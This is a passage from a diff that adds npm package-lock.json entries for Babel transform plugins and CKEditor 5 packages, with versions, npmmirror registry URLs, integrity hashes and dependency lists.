"@babel/helper-create-class-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-property-literals": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.25.9.tgz", + "integrity": "sha512-IvIUeV5KrS/VPavfSM/Iu+RE6llrHrYIKY1yfCzyO/lMXHQ+p7uGhonmGVisv6tSBSVgWzMBohTcvkC9vQcQFA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-regenerator": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.25.9.tgz", + "integrity": "sha512-vwDcDNsgMPDGP0nMqzahDWE5/MLcX8sv96+wfX7as7LoF/kr97Bo/7fI00lXY4wUXYfVmwIIyG80fGZ1uvt2qg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9", + "regenerator-transform": "^0.15.2" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-regexp-modifiers": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-regexp-modifiers/-/plugin-transform-regexp-modifiers-7.26.0.tgz", + "integrity": "sha512-vN6saax7lrA2yA/Pak3sCxuD6F5InBjn9IcrIKQPjpsLvuHYLVroTxjdlVRHjjBWxKOqIwpTXDkOssYT4BFdRw==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-reserved-words": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.25.9.tgz", + "integrity": "sha512-7DL7DKYjn5Su++4RXu8puKZm2XBPHyjWLUidaPEkCUBbE7IPcsrkRHggAOOKydH1dASWdcUBxrkOGNxUv5P3Jg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-runtime": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.25.9.tgz", + "integrity": "sha512-nZp7GlEl+yULJrClz0SwHPqir3lc0zsPrDHQUcxGspSL7AKrexNSEfTbfqnDNJUO13bgKyfuOLMF8Xqtu8j3YQ==", + "dev": true, + "dependencies": { + "@babel/helper-module-imports": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9", + "babel-plugin-polyfill-corejs2": "^0.4.10", + "babel-plugin-polyfill-corejs3": "^0.10.6", + "babel-plugin-polyfill-regenerator": "^0.6.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-shorthand-properties": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.25.9.tgz", + "integrity": "sha512-MUv6t0FhO5qHnS/W8XCbHmiRWOphNufpE1IVxhK5kuN3Td9FT1x4rx4K42s3RYdMXCXpfWkGSbCSd0Z64xA7Ng==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-spread": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-spread/-/plugin-transform-spread-7.25.9.tgz", + "integrity": "sha512-oNknIB0TbURU5pqJFVbOOFspVlrpVwo2H1+HUIsVDvp5VauGGDP1ZEvO8Nn5xyMEs3dakajOxlmkNW7kNgSm6A==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-sticky-regex": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.25.9.tgz", + "integrity": "sha512-WqBUSgeVwucYDP9U/xNRQam7xV8W5Zf+6Eo7T2SRVUFlhRiMNFdFz58u0KZmCVVqs2i7SHgpRnAhzRNmKfi2uA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-template-literals": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.25.9.tgz", + "integrity": "sha512-o97AE4syN71M/lxrCtQByzphAdlYluKPDBzDVzMmfCobUjjhAryZV0AIpRPrxN0eAkxXO6ZLEScmt+PNhj2OTw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-typeof-symbol": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.25.9.tgz", + "integrity": "sha512-v61XqUMiueJROUv66BVIOi0Fv/CUuZuZMl5NkRoCVxLAnMexZ0A3kMe7vvZ0nulxMuMp0Mk6S5hNh48yki08ZA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-escapes": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.25.9.tgz", + "integrity": "sha512-s5EDrE6bW97LtxOcGj1Khcx5AaXwiMmi4toFWRDP9/y0Woo6pXC+iyPu/KuhKtfSrNFd7jJB+/fkOtZy6aIC6Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-property-regex": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-unicode-property-regex/-/plugin-transform-unicode-property-regex-7.25.9.tgz", + "integrity": "sha512-Jt2d8Ga+QwRluxRQ307Vlxa6dMrYEMZCgGxoPR8V52rxPyldHu3hdlHspxaqYmE7oID5+kB+UKUB/eWS+DkkWg==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-regex": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.25.9.tgz", + "integrity": "sha512-yoxstj7Rg9dlNn9UQxzk4fcNivwv4nUYz7fYXBaKxvw/lnmPuOm/ikoELygbYq68Bls3D/D+NBPHiLwZdZZ4HA==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-sets-regex": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-unicode-sets-regex/-/plugin-transform-unicode-sets-regex-7.25.9.tgz", + "integrity": "sha512-8BYqO3GeVNHtx69fdPshN3fnzUNLrWdHhk/icSwigksJGczKSizZ+Z6SBCxTs723Fr5VSNorTIK7a+R2tISvwQ==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/preset-env": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/preset-env/-/preset-env-7.26.0.tgz", + "integrity": "sha512-H84Fxq0CQJNdPFT2DrfnylZ3cf5K43rGfWK4LJGPpjKHiZlk0/RzwEus3PDDZZg+/Er7lCA03MVacueUuXdzfw==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.26.0", + "@babel/helper-compilation-targets": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/helper-validator-option": "^7.25.9", + "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.25.9", + "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.25.9", + "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.25.9", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.25.9", + "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.25.9", + "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", + "@babel/plugin-syntax-import-assertions": "^7.26.0", + "@babel/plugin-syntax-import-attributes": "^7.26.0", + "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", + "@babel/plugin-transform-arrow-functions": "^7.25.9", + "@babel/plugin-transform-async-generator-functions": "^7.25.9", + "@babel/plugin-transform-async-to-generator": "^7.25.9", + "@babel/plugin-transform-block-scoped-functions": "^7.25.9", + "@babel/plugin-transform-block-scoping": "^7.25.9", + "@babel/plugin-transform-class-properties": "^7.25.9", + "@babel/plugin-transform-class-static-block": "^7.26.0", + "@babel/plugin-transform-classes": "^7.25.9", + "@babel/plugin-transform-computed-properties": "^7.25.9", + "@babel/plugin-transform-destructuring": "^7.25.9", + "@babel/plugin-transform-dotall-regex": "^7.25.9", + "@babel/plugin-transform-duplicate-keys": "^7.25.9", + "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.25.9", + "@babel/plugin-transform-dynamic-import": "^7.25.9", + "@babel/plugin-transform-exponentiation-operator": "^7.25.9", + "@babel/plugin-transform-export-namespace-from": "^7.25.9", + "@babel/plugin-transform-for-of": "^7.25.9", + "@babel/plugin-transform-function-name": "^7.25.9", + "@babel/plugin-transform-json-strings": "^7.25.9", + "@babel/plugin-transform-literals": "^7.25.9", + "@babel/plugin-transform-logical-assignment-operators": "^7.25.9", + "@babel/plugin-transform-member-expression-literals": "^7.25.9", + "@babel/plugin-transform-modules-amd": "^7.25.9", + "@babel/plugin-transform-modules-commonjs": "^7.25.9", + "@babel/plugin-transform-modules-systemjs": "^7.25.9", + "@babel/plugin-transform-modules-umd": "^7.25.9", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.25.9", + "@babel/plugin-transform-new-target": "^7.25.9", + "@babel/plugin-transform-nullish-coalescing-operator": "^7.25.9", + "@babel/plugin-transform-numeric-separator": "^7.25.9", + "@babel/plugin-transform-object-rest-spread": "^7.25.9", + "@babel/plugin-transform-object-super": "^7.25.9", + "@babel/plugin-transform-optional-catch-binding": "^7.25.9", + "@babel/plugin-transform-optional-chaining": "^7.25.9", + "@babel/plugin-transform-parameters": "^7.25.9", + "@babel/plugin-transform-private-methods": "^7.25.9", + "@babel/plugin-transform-private-property-in-object": "^7.25.9", + "@babel/plugin-transform-property-literals": "^7.25.9", + "@babel/plugin-transform-regenerator": "^7.25.9", + "@babel/plugin-transform-regexp-modifiers": "^7.26.0", + "@babel/plugin-transform-reserved-words": "^7.25.9", + "@babel/plugin-transform-shorthand-properties": "^7.25.9", + "@babel/plugin-transform-spread": "^7.25.9", + "@babel/plugin-transform-sticky-regex": "^7.25.9", + "@babel/plugin-transform-template-literals": "^7.25.9", + "@babel/plugin-transform-typeof-symbol": "^7.25.9", + "@babel/plugin-transform-unicode-escapes": "^7.25.9", + "@babel/plugin-transform-unicode-property-regex": "^7.25.9", + "@babel/plugin-transform-unicode-regex": "^7.25.9", + "@babel/plugin-transform-unicode-sets-regex": "^7.25.9", + "@babel/preset-modules": "0.1.6-no-external-plugins", + "babel-plugin-polyfill-corejs2": "^0.4.10", + "babel-plugin-polyfill-corejs3": "^0.10.6", + "babel-plugin-polyfill-regenerator": "^0.6.1", + "core-js-compat": "^3.38.1", + "semver": "^6.3.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/preset-modules": { + "version": "0.1.6-no-external-plugins", + "resolved": "https://registry.npmmirror.com/@babel/preset-modules/-/preset-modules-0.1.6-no-external-plugins.tgz", + "integrity": "sha512-HrcgcIESLm9aIR842yhJ5RWan/gebQUJ6E/E5+rf0y9o6oj7w0Br+sWuL6kEQ/o/AdfvR1Je9jG18/gnpwjEyA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.0.0", + "@babel/types": "^7.4.4", + "esutils": "^2.0.2" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0 || ^8.0.0-0 <8.0.0" + } + }, + "node_modules/@babel/runtime": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/runtime/-/runtime-7.26.0.tgz", + "integrity": "sha512-FDSOghenHTiToteC/QRlv2q3DhPZ/oOXTBoirfWNx1Cx3TMVcGWQtMMmQcSvb/JjpNeGzx8Pq/b4fKEJuWm1sw==", + "dev": true, + "dependencies": { + "regenerator-runtime": "^0.14.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/template": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/template/-/template-7.25.9.tgz", + "integrity": "sha512-9DGttpmPvIxBb/2uwpVo3dqJ+O6RooAFOS+lB+xDqoE2PVCE8nfoHMdZLpfCQRLwvohzXISPZcgxt80xLfsuwg==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.25.9", + "@babel/parser": "^7.25.9", + "@babel/types": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/traverse": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/traverse/-/traverse-7.25.9.tgz", + "integrity": "sha512-ZCuvfwOwlz/bawvAuvcj8rrithP2/N55Tzz342AkTvq4qaWbGfmCk/tKhNaV2cthijKrPAA8SRJV5WWe7IBMJw==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.25.9", + "@babel/generator": "^7.25.9", + "@babel/parser": "^7.25.9", + "@babel/template": "^7.25.9", + "@babel/types": "^7.25.9", + "debug": "^4.3.1", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/types": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/types/-/types-7.26.0.tgz", + "integrity": "sha512-Z/yiTPj+lDVnF7lWeKCIJzaIkI0vYO87dMpZ4bg4TDrFe4XXLFWL1TbXU27gBP3QccxV9mZICCrnjnYlJjXHOA==", + "dependencies": { + "@babel/helper-string-parser": "^7.25.9", + "@babel/helper-validator-identifier": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@ckeditor/ckeditor5-adapter-ckfinder": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-adapter-ckfinder/-/ckeditor5-adapter-ckfinder-43.2.0.tgz", + "integrity": "sha512-RiZXc6l05yfkkSyJRxyDAnqqUxMXHboZxooptBUweUm1ofXltyaGkFa5D4kBMS5prrAEXrdpJ9uMZPvjY2BF7g==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-upload": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-alignment": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-alignment/-/ckeditor5-alignment-43.2.0.tgz", + "integrity": "sha512-Yhh+1FmmcycBtFRX3nqULe/EiF5Y28eLEkmdus16jhfImtMFLzt344+SrcTkd2uQfC4U+yVlxmOo6/lbR1R7Qw==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-autoformat": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-autoformat/-/ckeditor5-autoformat-43.2.0.tgz", + "integrity": "sha512-8b/POJT08kR9eDeZXIEiU0CKIBanusbnSku+a//63hrW2urzS3F9umKsD8Y1I/xoKGm/ew4yVtncQRaCUEE7lA==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-typing": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-autosave": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-autosave/-/ckeditor5-autosave-43.2.0.tgz", + "integrity": "sha512-ZDpWibRaXmwsFNPE0Q3Mc93yarR+zcgiCpEW5oZh68vUdR1aL63D3GqGI3ok4EgFKsCTQWHpB1WejyUJecVcMw==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-basic-styles": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-basic-styles/-/ckeditor5-basic-styles-43.2.0.tgz", + "integrity": "sha512-v1BS3JtD+6fAPx23Sbr+IZ39RAaiIoISursInuGTWU+kJ3RDh7fByKEt4A8kia4ZfSd1b469i/4LOiikN+jfxQ==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-typing": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-block-quote": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-block-quote/-/ckeditor5-block-quote-43.2.0.tgz", + "integrity": "sha512-0T5zy3vitecSWaRd7uhxvyHLLVJUutpeJHMqupKPZaOJlgJOqa9hFOFsK2t4y8EVTtLTx5UfFzTudK449kFnBg==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-enter": "43.2.0", + "@ckeditor/ckeditor5-typing": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-ckbox": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-ckbox/-/ckeditor5-ckbox-43.2.0.tgz", + "integrity": "sha512-HSjYz2fYA2iJhua3wExApBYKz6k6AuSZmm2CG/X7cYFvq44OCIuOOkjqSABcByvVAtzOUerqWhurwBXTp/QrUg==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-upload": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "blurhash": "2.0.5", + "ckeditor5": "43.2.0", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-ckfinder": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-ckfinder/-/ckeditor5-ckfinder-43.2.0.tgz", + "integrity": "sha512-GOMI/FTTGglQBxVIGMxQwVIDD+gCQenegjMlol2eCDsys3td5mtzp0sEYPXCHeJY8u/R28K3ySWvKlrp8YBQ0Q==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-clipboard": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-clipboard/-/ckeditor5-clipboard-43.2.0.tgz", + "integrity": "sha512-109dffphyvUEhdGDP7GIj6zEHb493QNVEY6Rbl8o9Q0Ia+AAmDGX3VWFewiFC325tWaeVW72wwXXeaCSLRpt2w==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "@ckeditor/ckeditor5-widget": "43.2.0", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-cloud-services": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-cloud-services/-/ckeditor5-cloud-services-43.2.0.tgz", + "integrity": "sha512-bcnklICj88ZNXTnjHdXt74zsxk9RBK1KXIZXKMT2K8NLZQZkppnzPICjDfFJ31BvcvYmFE3mKuVNeLnsofyezQ==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-code-block": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-code-block/-/ckeditor5-code-block-43.2.0.tgz", + "integrity": "sha512-tNgqpcgigruSdbaJnl08BpOYkKs9mFA284hsTyptmxOloq/igEBvSgBfJDchUGVT0Lm78hAlcirdVKrwku5Eew==", + "dependencies": { + "@ckeditor/ckeditor5-clipboard": "43.2.0", + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-enter": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-core": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-core/-/ckeditor5-core-43.2.0.tgz", + "integrity": "sha512-LLyDuNQdTC+P1E91SMAPGNTpDOLwsQK4OayO/qUS1sDxqWfv/YFxEpN/vBXEHbg5Q3LS2wW1HR6a4o/w7Wwt8w==", + "dependencies": { + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "@ckeditor/ckeditor5-watchdog": "43.2.0", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-easy-image": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-easy-image/-/ckeditor5-easy-image-43.2.0.tgz", + "integrity": "sha512-mRIU5GRVTwv2uMHdoP4p/Jv6lgusmOBUp7p2PkmEEyo1MBG7t+b76rMWePFfBZKmXFmdO8lATJg/SGUNK7JIyg==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-upload": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-editor-balloon": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-editor-balloon/-/ckeditor5-editor-balloon-43.2.0.tgz", + "integrity": "sha512-KtSX8mZTHphUMn7Uf9S3lRDBJI+m5POVvvCRFYDo+AsPO6FN72hZslpseOlAVTcJ0FIYM4aiqAFg1jojeoDyqQ==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-editor-classic": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-editor-classic/-/ckeditor5-editor-classic-43.2.0.tgz", + "integrity": "sha512-D07TxNnJb0qSKe3QicNsaZh28tIXEjmrib4Gnbc2McWi7nDYoxoF1dyUygxFR4OHQ6DXfYU4VUW9EKlJ8ZfSAg==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-editor-decoupled": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-editor-decoupled/-/ckeditor5-editor-decoupled-43.2.0.tgz", + "integrity": "sha512-2vgfOd7sqptBRu6de0qq+hwQd7BuUu1rgfbuWB/msa2zMxwKLNoWwYNFz0N9Mm7b49jaMkQYjaOYFh1zE7BEMQ==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-editor-inline": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-editor-inline/-/ckeditor5-editor-inline-43.2.0.tgz", + "integrity": "sha512-MCb5ljlr4Jp9pYtKAUhLbtOcxHuiMOOPWCrwYmpDogzBss//G2+LILqWqal3b6YUm2WSm37NorGQ+KdPmOh5ow==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-editor-multi-root": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-editor-multi-root/-/ckeditor5-editor-multi-root-43.2.0.tgz", + "integrity": "sha512-nQcYWsetSG2h5NZOWuHf90VTxE82KBqetO3S0emMmlUstGmVk69KMlQDxU6UZhbB5NptVsgMSG2Y9Cd8XnrO0A==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0", + "ckeditor5": "43.2.0", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-engine": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-engine/-/ckeditor5-engine-43.2.0.tgz", + "integrity": "sha512-fTrhFe+qUFZ+mvRd6KrvDzXAdMoyE44P4640iU7aOoqnlf2Z7D9wQN7ak+ysRKuccIt9t6Tidl8pmT3BRoBGfA==", + "dependencies": { + "@ckeditor/ckeditor5-utils": "43.2.0", + "lodash-es": "4.17.21" + } + }, + "node_modules/@ckeditor/ckeditor5-enter": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-enter/-/ckeditor5-enter-43.2.0.tgz", + "integrity": "sha512-uFnexEaYyOYgekrpPgbA6tCiEPEXOtr1AoATVlIzy2Kb0SfJkfUyciV8559+tK9w16zI4tgMYJrwt0ktg55EYA==", + "dependencies": { + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-engine": "43.2.0", + "@ckeditor/ckeditor5-utils": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-essentials": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-essentials/-/ckeditor5-essentials-43.2.0.tgz", + "integrity": "sha512-Nb0utwH+j4Kqn8OBzcHYBexJAnlJUMC3jrLnVW2mqbd71HTRFozJ6/MDdX1gIUoQswhl6pVZRLmly26HEubUPQ==", + "dependencies": { + "@ckeditor/ckeditor5-clipboard": "43.2.0", + "@ckeditor/ckeditor5-core": "43.2.0", + "@ckeditor/ckeditor5-enter": "43.2.0", + "@ckeditor/ckeditor5-select-all": "43.2.0", + "@ckeditor/ckeditor5-typing": "43.2.0", + "@ckeditor/ckeditor5-ui": "43.2.0", + "@ckeditor/ckeditor5-undo": "43.2.0", + "ckeditor5": "43.2.0" + } + }, + "node_modules/@ckeditor/ckeditor5-find-and-replace": { + "version": "43.2.0", + "resolved": "https://registry.npmmirror.com/@ckeditor/ckeditor5-find-and-replace/-/ckeditor5-find-and-replace-43.2.0.tgz", + "integrity": 